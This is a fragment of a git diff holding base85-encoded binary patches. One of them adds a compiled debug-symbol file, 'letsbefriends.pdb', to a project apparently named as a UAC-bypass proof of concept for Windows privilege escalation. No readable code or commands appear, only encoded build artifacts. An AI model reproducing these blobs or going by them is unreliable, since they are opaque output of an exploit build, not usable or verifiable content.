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
NAJ)XL^?!9e@PGZrj7tCj

literal 0
HcmV?d00001

diff --git a/UAC_Bypass_POC/obj/Release/letsbefriends.pdb b/UAC_Bypass_POC/obj/Release/letsbefriends.pdb
new file mode 100644
index 0000000000000000000000000000000000000000..b76cd74a70df84139c9c56094fc19746a57ebcf9
GIT binary patch
literal 28160
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
HsDb|h_4hoO

literal 0
HcmV?d00001